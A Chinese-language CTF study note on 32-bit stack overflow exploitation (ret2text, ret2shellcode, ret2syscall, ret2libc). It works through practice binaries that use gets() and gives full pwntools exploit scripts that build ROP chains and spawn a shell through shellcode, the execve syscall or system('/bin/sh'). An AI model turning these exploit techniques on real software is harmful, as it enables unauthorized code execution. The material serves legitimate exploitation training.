栈溢出
一、基本概念:
-
函数调用栈情况见链接
-
基本准备:
bss段可执行检测:
gef➤ b main Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8. gef➤ r Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode gef➤ vmmap
-
ROPgadget
ROPgadget --binary rop --only 'pop|ret' | grep 'eax' ROPgadget --binary rop --only 'pop|ret' | grep 'ebx' ROPgadget --binary rop --string '/bin/sh' ROPgadget --binary rop --only 'int'
-
系统调用
Linux系统中通过软中断0x80调用实现控制权转移给内核,内容执行完成后返回结果。所有系统调用在linux内核的源文件目录"arch/x86/kernel"中的各种文件中定义,具体建本文最后一部分的列表。
二、ret2text
ret2text其实就是调用程序中text中已经存在的shell
三、ret2shellcode
ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。
PAYLOAD形式:padding1 + address of shellcode + padding2 + shellcode
实例:
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets((char *)&v4); strncpy(buf2, (const char *)&v4, 0x64u); printf("bye bye ~"); return 0; }
shellcode
解析:先将shellcode写进v4,再溢出v4到返回地址,然后将返回地址覆盖成buf2
#!/usr/bin/env python from pwn import * sh = process('./ret2shellcode') shellcode = asm(shellcraft.sh()) buf2_addr = 0x804a080 sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr)) sh.interactive()
四、ret2syscall
ret2syscall,即控制程序执行系统调用,获取 shell。
由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。
32位:拿execve()来举例
-
系统调用号,即 eax 应该为 0xb
-
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
-
第二个参数,即 ecx 应该为 0
-
第三个参数,即 edx 应该为 0
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return 0; }
找到相应寄存器地址,其中0xb为execve系统调用地址
#!/usr/bin/env python from pwn import * sh = process('./rop') pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat( ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) sh.sendline(payload) sh.interactive()
五、ret2libc
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。
payload: padding1 + address of system() + padding2 + address of “/bin/sh”
padding1 处的数据可以随意填充(注意不要包含 “\x00” ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。
address of system() 是 system() 在内存中的地址,用来覆盖返回地址。
padding2 处的数据长度为4(32位机),对应调用 system() 时的返回地址。因为我们在这里只需要打开 shell 就可以,并不关心从 shell 退出之后的行为,所以 padding2 的内容可以随意填充。
address of “/bin/sh” 是字符串 “/bin/sh” 在内存中的地址,作为传给 system() 的参数。
实例:
1).ret2libc1
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets((char *)&v4); return 0; }
exp:
from pwn import * sh = process('./ret2libc1') binsh_addr = 0x8048720 system_plt = 0x08048460 payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr]) sh.sendline(payload) sh.interactive()
2).ret2libc2
开启了堆栈不可执行保护
1、构造 payload
第一部分:
‘a' * 112 + gets_plt + ret_addr + buf_addr
这里需要思考两点,第一点就是 buf 地址,我们的 “/bin/sh” 应该放在哪里,通常我们会选择 .bss (存储未初始化全局变量) 段,IDA 查看 .bss 段发现程序给出了 buf2[100]数组,正好就可以使用这块区域。
现在考虑返回地址,因为在 gets() 函数完成后需要调用 system() 函数需要保持堆栈平衡,所以在调用完 gets() 函数后提升堆栈,这就需要 add esp, 4 这样的指令但是程序中并没有这样的指令。更换思路,通过使用 pop xxx 指令也可以完成同样的功能,在程序中找到了 pop ebx,ret 指令。
第二部分:
这部分就与上一题一样,
system_plt + ret_addr + buf_addr
还有另外一种 payload 更简洁情况:
在 gets() 函数调用完后,在返回地址处覆盖上 system() 的地址将 gets() 函数的参数 buf 地址当成返回地址,再在后面加上 system() 函数的参数 buf。
’a' * 112 + gets_plt + system_plt + buf_addr + buf_addr
2、编写 exp
from pwn import * #context.log_level = 'debug' sh = process('./ret2libc2') elf = ELF('ret2libc2') def pwn(sh, payload): sh.recvuntil('?') sh.sendline(payload) sh.sendline('/bin/sh')#这里将 /bin/sh 传入 buf 中 sh.interactive() buf = elf.symbols['buf2'] gets_plt = elf.plt['gets'] system_plt = elf.plt['system'] pop_ebx_ret = 0x0804843d ret_addr = 0xdeadbeef #payload = 'a' * 112 + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf) + p32(system_plt) + p32(ret_addr) + p32(buf) payload = 'a' * 112 + p32(gets_plt) + p32(system_plt) + p32(buf) + p32(buf) pwn(sh, payload)